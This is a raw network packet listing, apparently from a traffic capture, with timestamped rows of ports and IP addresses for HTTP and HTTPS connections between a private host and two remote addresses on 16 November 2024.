Nov 16, 2024 19:22:28.697443008 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.697483063 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697526932 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.697531939 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697566032 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697586060 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.697594881 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697627068 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697635889 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.697659969 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697688103 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.697707891 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.697710037 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697743893 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697774887 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697786093 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.697813034 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.697827101 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697875977 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697912931 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697915077 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.697936058 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.697945118 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697957039 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.697978020 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.697989941 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.698024988 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698040009 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.698059082 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698071003 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.698087931 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698093891 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.698121071 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698128939 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.698153973 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698162079 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.698201895 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698216915 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.698237896 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698287010 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698322058 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698331118 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.698369026 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.698370934 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698404074 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698435068 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698442936 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.698487043 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698518991 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698523998 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.698554993 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698587894 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698601961 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.698620081 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698652983 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698664904 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.698687077 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698734045 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.698734999 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698766947 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698798895 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698815107 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.698831081 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698879957 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698904037 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.698913097 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698945045 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.698955059 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.698977947 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699009895 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699021101 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.699055910 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.699060917 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699109077 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699151993 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699182987 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699193954 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.699217081 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699223995 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.699249983 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699282885 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699333906 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.699332952 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699369907 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699403048 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699435949 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699449062 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.699467897 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699513912 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699523926 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.699547052 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699579954 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699613094 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699625015 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.699645996 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699685097 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699687958 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.699717999 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699749947 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699759960 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.699783087 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699815989 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699824095 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.699847937 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699879885 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699889898 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.699913025 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699944973 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.699956894 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.699978113 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700010061 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700017929 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.700042963 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700074911 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700083017 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.700108051 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700122118 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.700139999 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700171947 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700177908 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.700205088 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700238943 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700251102 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.700273991 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700299025 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.700305939 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700313091 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.700337887 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700340986 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.700371027 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700402975 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700412989 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.700437069 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700445890 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.700469017 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700486898 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.700500965 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700534105 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700567007 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700575113 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.700599909 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700613022 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.700634003 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700665951 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700670958 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.700699091 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700731993 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700748920 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.700764894 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700767040 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.700789928 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.700798035 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700814009 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.700830936 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700845957 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.700876951 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700910091 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700942039 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.700968981 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.700974941 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.701000929 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.701006889 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.701040983 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.701041937 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.701049089 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.701073885 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.701396942 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.706115961 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.706150055 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.706183910 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.706212997 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.706212997 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.706216097 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.706240892 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.706258059 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.774817944 CET	443	49809	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.775007010 CET	443	49809	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.775582075 CET	49809	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.778892994 CET	49809	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.778892994 CET	49809	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.778912067 CET	443	49809	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.778933048 CET	443	49809	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.781616926 CET	49815	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.781641960 CET	443	49815	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.781814098 CET	49815	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.781982899 CET	49815	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.781992912 CET	443	49815	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.782708883 CET	443	49812	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.783449888 CET	443	49812	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.783502102 CET	49812	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.783612967 CET	49812	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.783628941 CET	443	49812	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.783633947 CET	49812	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.783639908 CET	443	49812	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.792514086 CET	443	49810	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.792684078 CET	443	49810	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.794262886 CET	49810	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.800542116 CET	443	49811	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.800684929 CET	443	49811	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.800875902 CET	49811	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.804050922 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.804105043 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.804147959 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.804171085 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.804183960 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.804212093 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.804234028 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.806065083 CET	443	49813	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.806135893 CET	443	49813	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.806216955 CET	49813	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.811219931 CET	49810	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.811238050 CET	443	49810	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.811244965 CET	49810	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.811249018 CET	443	49810	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.812465906 CET	49813	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.812474012 CET	443	49813	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.813389063 CET	49811	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.813389063 CET	49811	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.813406944 CET	443	49811	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.813411951 CET	443	49811	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.814604998 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.814660072 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.814692974 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.814728975 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.814738989 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.814762115 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.814784050 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.814829111 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.814862013 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.814872980 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.814894915 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.814930916 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.814939976 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.814966917 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.815001965 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.815011024 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.815035105 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.815078020 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.815087080 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.815119028 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.815131903 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.815161943 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.816977024 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.817027092 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.817061901 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.817084074 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.817110062 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.817120075 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.817143917 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.817154884 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.817197084 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.817233086 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.817241907 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.817265987 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.817276001 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.817298889 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.817332983 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.817364931 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.817375898 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.817401886 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.817409992 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.817723989 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.818221092 CET	49816	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.818252087 CET	443	49816	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.819407940 CET	49817	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.819417000 CET	443	49817	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.819458961 CET	49816	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.819488049 CET	49817	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.822822094 CET	49818	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.822833061 CET	443	49818	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.822904110 CET	49818	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.824069023 CET	49819	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.824075937 CET	443	49819	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.824352980 CET	49816	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.824368954 CET	443	49816	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.824383020 CET	49819	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.824578047 CET	49819	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.824589014 CET	443	49819	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.824651957 CET	49817	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.824657917 CET	443	49817	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.825069904 CET	49818	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.825083971 CET	443	49818	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.847672939 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.847723007 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.847826958 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.847882032 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.847892046 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.847946882 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.847999096 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.848031998 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.848043919 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.848079920 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.848114014 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.848121881 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.848141909 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.848176956 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.848181963 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.848229885 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.848262072 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.848297119 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.848305941 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.848305941 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.848305941 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.848329067 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.848340034 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.848364115 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.848371029 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.848392963 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.848426104 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.848470926 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.849818945 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.849859953 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.849896908 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.849945068 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.849992990 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.850030899 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.850080013 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.850100994 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.850254059 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.850261927 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.850310087 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.850339890 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.850346088 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.850378036 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.850409031 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.850430012 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.850454092 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.850462914 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.850497007 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.850511074 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.850544930 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.850586891 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.850594997 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.850630045 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.850671053 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.850678921 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.850707054 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.850740910 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.850758076 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.850791931 CET	80	49770	185.215.113.206	192.168.2.5
